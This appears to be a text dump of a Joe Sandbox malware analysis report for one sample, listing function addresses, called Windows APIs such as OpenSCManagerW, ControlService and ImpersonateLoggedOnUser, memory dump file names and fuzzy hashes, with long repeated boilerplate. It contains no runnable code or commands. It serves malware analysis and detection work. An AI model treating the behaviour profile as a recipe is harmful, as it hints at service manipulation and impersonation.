Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d47aea0333c5782022e813148b2740afe4b1f910c8639ef3e84c85ecfd837fc2
Instruction ID: 435092858ae0b7af4e7959a56a6fd4c4ee02a25509c42610b6bdd839d5f76d59
Opcode Fuzzy Hash: d47aea0333c5782022e813148b2740afe4b1f910c8639ef3e84c85ecfd837fc2
Instruction Fuzzy Hash: 7B01907514E9A65ED70AAD622CE2DFF3B5CD8C2360326402BE482C7643D3104D0BD6D2

Function 04C10D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C10DCD

Memory Dump Source

Source File: 00000004.00000002.2147138536.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c10000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 7d83fa3bac5f175ed76e78732172b27c2f916540c1ba5ae4802546f864ee53a2
Instruction ID: b5f12f4d5d93f9039122ffd6ce082011faa2edda7b7517488c8af0c4dbdd7c09
Opcode Fuzzy Hash: 7d83fa3bac5f175ed76e78732172b27c2f916540c1ba5ae4802546f864ee53a2
Instruction Fuzzy Hash: 8F2137B6C00218DFCB10DF9AD884BDEFBF5EB89320F14856AD808AB214D734A540CBA5

Function 04C10D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C10DCD

Memory Dump Source

Source File: 00000004.00000002.2147138536.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c10000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 8c4ca126090e561e556dfa1e3f758cd03487ac223b7342f6f1a19407e43ccdbd
Instruction ID: 52bc271d50f5f3766e3dc3d4a06718e812119e34c915dfe5562c61454fcfc933
Opcode Fuzzy Hash: 8c4ca126090e561e556dfa1e3f758cd03487ac223b7342f6f1a19407e43ccdbd
Instruction Fuzzy Hash: 4F2118B6C01218DFCB50DF9AD884BDEFBF5EB89710F14855AD808AB214D734A540CBA4

Function 04C11509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C11580

Memory Dump Source

Source File: 00000004.00000002.2147138536.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c10000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 4b6f09c7ecd57211f4ae056e15e006997bbfa96b7268d923b5f808eb0b22cbab
Instruction ID: 508806b6ce9189912189c7bfdfea8a35681e5cc5f34ad6b3ec608e0cb13c08aa
Opcode Fuzzy Hash: 4b6f09c7ecd57211f4ae056e15e006997bbfa96b7268d923b5f808eb0b22cbab
Instruction Fuzzy Hash: 612126B1D00249DFDB10CF9AC484BDEFBF4EB48320F148029E959A7250D778A645CFA5

Function 04C11510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C11580

Memory Dump Source

Source File: 00000004.00000002.2147138536.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c10000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 02e80bd051298880e5a74064daf1092deafee599484315379739b2024dcad45c
Instruction ID: 327ff9df028ca6d0aa897b330cc3af7d8114a9fa023edcbe734e2f8a6e344080
Opcode Fuzzy Hash: 02e80bd051298880e5a74064daf1092deafee599484315379739b2024dcad45c
Instruction Fuzzy Hash: 8D11F6B1D00249DFDB10CF9AC584BDEFBF4EB49320F148029E559A7250D778A644CFA5

Function 04C11301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04C11367

Memory Dump Source

Source File: 00000004.00000002.2147138536.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c10000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 1956d6d7a1414708d9adaa3e61a616a2861d9fc718b0b111dcf7a7c0d74fcf76
Instruction ID: 521d307a792131753e5d91e0c70328c84de8e30966aa966f083c01e582c491a0
Opcode Fuzzy Hash: 1956d6d7a1414708d9adaa3e61a616a2861d9fc718b0b111dcf7a7c0d74fcf76
Instruction Fuzzy Hash: 7B1125B1900249CFDB10CF9AC584BDEFBF8EB49324F24842AD558A3650D778A984CFA5

Function 04C11308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04C11367

Memory Dump Source

Source File: 00000004.00000002.2147138536.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c10000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: ae7ff81e50f86cdb35cb59bd3c77f48bcb15bf3e925c601b59f6e9e79b3a4682
Instruction ID: 4bcd76eeed3c68a2d5db948427d3840647b189d16f38850123ce52c7f9fc8a5b
Opcode Fuzzy Hash: ae7ff81e50f86cdb35cb59bd3c77f48bcb15bf3e925c601b59f6e9e79b3a4682
Instruction Fuzzy Hash: 431148B1900249CFDB10CF9AC484BDEFBF4EB49320F24842AD558A3250D778A584CFA5

Function 001EB7A9 Relevance: 1.5, APIs: 1, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 001EB871

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3ed86de9bbcd2bbc5b55129f2f5918a4a6378f5daa94a4664a3156a06f03d981
Instruction ID: fc47ed915d3020218160db5ddc5ddbb357aeabf2fe2be02423051d00d7b75518
Opcode Fuzzy Hash: 3ed86de9bbcd2bbc5b55129f2f5918a4a6378f5daa94a4664a3156a06f03d981
Instruction Fuzzy Hash: F1F02D7510E9955EA709DD5329D1DFF375CD981364332042AE44297546E320090AA6A2

Function 001EB7EC Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 001EB871

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 49c1c575adcf532cb78c0df9e55798e96576dad58baff6a889d4c4e3d857b351
Instruction ID: aaaa1805c8944d7c1a2f1b9b27c76fc920ba23128c47136c7fd557ddc9da1d5a
Opcode Fuzzy Hash: 49c1c575adcf532cb78c0df9e55798e96576dad58baff6a889d4c4e3d857b351
Instruction Fuzzy Hash: 79F0F63000E6A68FC705EEA154E2DEF7B68DE15214322042EC48687606E3304D0BD7D6

Function 001EB80F Relevance: 1.5, APIs: 1, Instructions: 34fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 001EB871

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_60000_QG5URI6Q0ZNU9FS6XT6N3IH7I.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 436b526507d81ce82a048271c95bc367fdbf28b1b23a45dcbc002f7e4a15fdba
Instruction ID: 21fb85402bd470871393c4423c80dcef19db45fa1c77da5682b066530e59178c
Opcode Fuzzy Hash: 436b526507d81ce82a048271c95bc367fdbf28b1b23a45dcbc002f7e4a15fdba
Instruction Fuzzy Hash: FDF0593104D9A58ECB05AE6258D2CEF772CDD01355312046AD8858B75AE321490AD7C6

Function 001EB833 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 001EB871

Memory Dump Source

Source File: 00000004.00000002.2143473592.00000000001E7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00060000, based on PE: true

Associated: 00000004.00000002.2143161409.0000000000060000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143191641.0000000000062000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143216597.0000000000066000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143240241.000000000006A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143265619.0000000000076000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143369862.00000000001CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143394997.00000000001CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143422672.00000000001E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143446054.00000000001E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143473592.00000000001F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143528276.00000000001F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143551894.00000000001F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143577038.0000000000205000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143600486.0000000000208000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143621887.0000000000209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143644072.000000000020A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143667647.000000000020B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143723029.000000000020C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143750923.0000000000221000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143847299.000000000022B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143871850.000000000022D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143896838.0000000000235000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143922129.0000000000242000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143945606.0000000000249000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143974577.0000000000260000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2143997561.0000000000266000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144019757.0000000000267000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144043544.0000000000270000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144067413.000000000027F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144089947.0000000000281000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144112200.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144135437.0000000000285000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144158853.000000000028C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144181428.000000000028F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144206086.0000000000296000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144230105.000000000029A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144253417.00000000002A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144276866.00000000002A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144303588.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144326632.00000000002B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144351109.00000000002C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144374468.00000000002C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144408613.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144431444.00000000002F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000302000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144454830.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144502115.0000000000318000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2144526017.000000000031A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

